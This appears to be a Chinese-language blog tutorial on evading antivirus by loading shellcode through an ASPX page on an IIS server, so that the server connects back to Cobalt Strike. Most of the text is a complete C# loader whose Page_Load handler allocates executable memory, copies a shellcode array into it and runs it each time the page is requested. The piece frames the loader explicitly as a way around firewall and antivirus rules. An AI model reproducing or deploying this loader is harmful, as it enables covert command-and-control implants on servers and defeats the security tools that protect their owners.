使用正常的exe或者一些Shellcode加载器可能会触发防火墙或者本地杀软的规则,导致被拦截,因此可以使用web服务来加载shellcode上线CS,因为web服务和本地的落地文件不大一样,可能就可以进行上线,但是最新版的火绒是上线不了了。可能还需要加以改进吧,只能说提供了一种思路。
ASPX
搭建完一个IIS7+ASP的服务器后,打印一个字符串,表示环境搭建完毕,此时我们可以自定义新增加一个页面,页面上来加载我们的shellcode
而且,默认安装ASP,ASPX也是可以解析的
—————————————————————————————————————————————————
一个 aspx 的加载 shellcode 例子如下:
codeBytes 即位我们需要填充的地方,这里注意{}里的格式,一定要是这种格式才行0xfc,0xe8,0x89,0x00
Page_Load 是特殊函数 在页面加载的时候会自动调用,所以只要访问这个 aspx
文件那么就会把 shellcode 加载到内存,上线 cs。
<%@ Page Language="C#" AutoEventWireup="true"
Inherits="System.Web.UI.Page" Debug="true"%>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<script runat="server">
delegate int MsfpayloadProc();
protected void Page_Load(object sender, EventArgs e)
{
byte[] codeBytes ={0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,xxx};
IntPtr handle = IntPtr.Zero;
handle = VirtualAlloc(
IntPtr.Zero,
codeBytes.Length,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
try
{
Marshal.Copy(codeBytes, 0, handle, codeBytes.Length);
MsfpayloadProc msfpayload
= Marshal.GetDelegateForFunctionPointer(handle,
typeof(MsfpayloadProc)) as MsfpayloadProc;
msfpayload();
}
finally
{
VirtualFree(handle, 0, MEM_RELEASE);}
}
//Windows API
[DllImport("Kernel32.dll", EntryPoint = "VirtualAlloc")]
public static extern IntPtr VirtualAlloc(IntPtr address, int
size, uint allocType, uint protect);
[DllImport("Kernel32.dll", EntryPoint = "VirtualFree")]
public static extern bool VirtualFree(IntPtr address, int size,
uint freeType);
//flags
const uint MEM_COMMIT = 0x1000;
const uint MEM_RESERVE = 0x2000;
const uint PAGE_EXECUTE_READWRITE = 0x40;
const uint MEM_RELEASE = 0x8000;
</script>